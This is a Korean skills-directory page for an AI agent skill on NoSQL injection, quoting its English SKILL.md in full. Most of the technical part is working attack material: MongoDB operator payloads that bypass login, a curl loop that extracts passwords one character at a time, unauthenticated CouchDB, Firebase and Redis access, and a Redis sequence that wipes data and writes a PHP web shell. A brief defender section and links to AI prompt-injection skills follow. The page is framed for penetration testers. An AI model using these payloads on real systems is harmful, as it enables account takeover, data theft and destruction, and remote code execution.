nosqli
하는 일
이 스킬은 사용자 입력이 질의의 일부가 될 때 MongoDB 같은 NoSQL 데이터베이스가 악용될 수 있는 방식을 설명합니다. 로그인과 검색 기능을 점검하는 보안 테스터를 위한 스킬입니다.
사용하는 경우
- ✓로그인이나 검색이 MongoDB 또는 비슷한 데이터베이스를 쓰고 JSON 입력을 받는 경우.
- ✓스캔 결과 인증 없이 읽힐 수 있는 데이터베이스가 보일 때.
- ✓연산자 입력으로 비밀번호 확인을 우회할 수 있는지 점검하고 싶을 때.
스킬 링크
https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/exploit/web/nosqli/SKILL.md복사해서 AI(Claude, ChatGPT, Cursor)에 붙여넣고 지침을 따르도록 요청하세요.
사용 방법
가장 쉬운 방법입니다. 메시지를 복사해 AI에 붙여넣으세요. AI가 스킬을 읽고 지침을 따릅니다.
바로 붙여넣을 수 있는 메시지
Claude Code, Codex, Cursor용입니다. 프로젝트 폴더에서 실행하면 스킬이 설치됩니다.
SKILL.md를 다운로드해 에이전트의 스킬 폴더에 넣으세요.
AI에게 요청하는 예시
“제 앱의 로그인이 비밀번호 대신 특수 질의 연산자를 받아들이는지 확인해 주세요.”
매주 새 스킬 5개. 읽는 데 1분.
작동 방식
에이전트는 평범한 값 대신 같지 않음이나 정규식 같은 연산자를 담은 JSON을 보내고, 질의가 바뀌었음을 보여 주는 방식으로 응답이 달라지는지 확인합니다.
기술 내용 (원본 SKILL.md)
작성자의 영어 원문을 GitHub에서 그대로 가져왔습니다.
NoSQL Injection
NoSQL stores parse JSON / native objects. When user input becomes part of a query object (not just a value), control flows into the query.
1. MongoDB — most common target
Auth bypass
// Vulnerable: db.users.findOne({user: req.body.user, pass: req.body.pass})
POST /login
{"user": {"$ne": null}, "pass": {"$ne": null}} // returns first user
{"user": "admin", "pass": {"$gt": ""}} // admin if pw exists
{"user": "admin", "pass": {"$regex": "^A"}} // blind char extraction
Server-side JS injection
{"$where": "this.user == 'admin' && sleep(5000)"} // time-based
{"$where": "function() { return this.user.length > 0 && this.user.match(/^a/) }"}
$where was deprecated in Mongo 4.4 — still appears in legacy.
Operator extraction (blind)
# Burp Intruder w/ payload list
for char in {a..z}; do
curl -s -X POST $TARGET/login \
-d "{\"user\":\"admin\",\"pass\":{\"\$regex\":\"^${char}\"}}" \
| grep -q "success" && echo "char: $char"
done
2. CouchDB
# Admin party (no auth required)
curl http://target:5984/_all_dbs
curl http://target:5984/_users/_all_docs
# Then read/modify any document
3. Firebase Realtime Database
# Public-read databases (most common misconfig)
curl https://YOUR-FIREBASE-PROJECT.firebaseio.com/.json
# Returns entire DB if rules are "true"
4. Redis
# Unauth Redis (still common on internal nets, occasionally exposed)
redis-cli -h target -p 6379 INFO
# Module loading attack if running as root + module dir writable
redis-cli -h target FLUSHALL
redis-cli -h target SET dir /var/www/html
redis-cli -h target SET dbfilename shell.php
redis-cli -h target SET payload "<?php system($_GET['c']); ?>"
redis-cli -h target SAVE
5. Tools
- NoSQLMap — automated mongo injection (
nosqlmap.py) - mongoaudit — config scanner
- Burp Intruder w/ payloads/NoSQL Injection/ as wordlist
- fuzzdb — has NoSQL payload variants
6. PoC
# Mongo auth bypass via curl
curl -s -X POST $TARGET/api/login \
-H "Content-Type: application/json" \
-d '{"username": {"$ne": null}, "password": {"$ne": null}}' \
| jq
# If logged-in-as-admin → critical
7. Severity
| Bug | Severity |
|---|---|
Auth bypass via $ne |
Critical 9.8 |
| Blind char extraction of all user data | Critical 9.0 |
$where JS injection → RCE-adjacent (mongo runs the JS) |
Critical 9.8 |
| Public CouchDB / Firebase | Critical (depends on data sensitivity) |
| Unauth Redis on internal net | High 7-8 |
8. Defender
// Sanitize/typecheck before query
if (typeof req.body.user !== 'string') return res.status(400).send();
if (typeof req.body.pass !== 'string') return res.status(400).send();
// Or use parameterized queries / Mongo ODM (Mongoose schemas)
User.findOne({user: req.body.user}).select('+password');
// Disable $where globally
mongoose.set('strictQuery', true);
Cross-references
- Upstream catalog:
skills/_corpus/payloads/NoSQL Injection/ - SQLi (different attack class, similar mindset):
skills/exploit/web/sqli.md
자주 묻는 질문
어떤 데이터베이스를 다루나요?
MongoDB를 중심으로 하며, CouchDB, Firebase Realtime Database, Redis 패턴도 다룹니다.
결과를 보지 못해도 데이터를 빼낼 수 있나요?
네. 이 스킬은 한 글자씩 확인해서 데이터를 알아내는 블라인드 추출을 설명합니다.
서버 측 JavaScript도 다루나요?
네. 오래된 MongoDB 버전에서 JavaScript를 실행할 수 있는 $where 연산자를 언급합니다.
상세 정보
작성자의 원본 설명
NoSQL injection — MongoDB operator injection ($ne, $gt, $where, $regex), CouchDB / Firebase / Redis attack patterns, auth bypass, blind extraction.
인기도
- GitHub 스타
- 6.5k
- 순위
- #14072
- 라이선스
- Apache-2.0
- 업데이트
- 2026. 11. 1.
댓글
- …
이 저장소의 다른 스킬
detector-overview
6.5k에이전트가 스캐너가 표시한 코드를 읽고, 표시된 곳 중 어디가 실제 보안 버그이고 어디가 오탐인지 판단하도록 돕습니다.
exploiter-overview
6.5k에이전트가 확인된 여러 보안 약점을 하나의 테스트 체인으로 묶고, 그 체인이 어디까지 닿을 수 있는지 확인하도록 돕습니다.
llm-redteam-overview
6.5k에이전트가 프롬프트 인젝션부터 모델 악용까지 15개 전술 그룹 중 테스트에 맞는 AI 레드팀 가이드를 찾도록 돕습니다.
aatmf-t01-prompt-injection
6.5k숨겨진 지시가 AI 시스템을 덮어쓰려 하는 프롬프트 인젝션을 설명해, 보안 테스터가 이를 점검할 수 있게 합니다.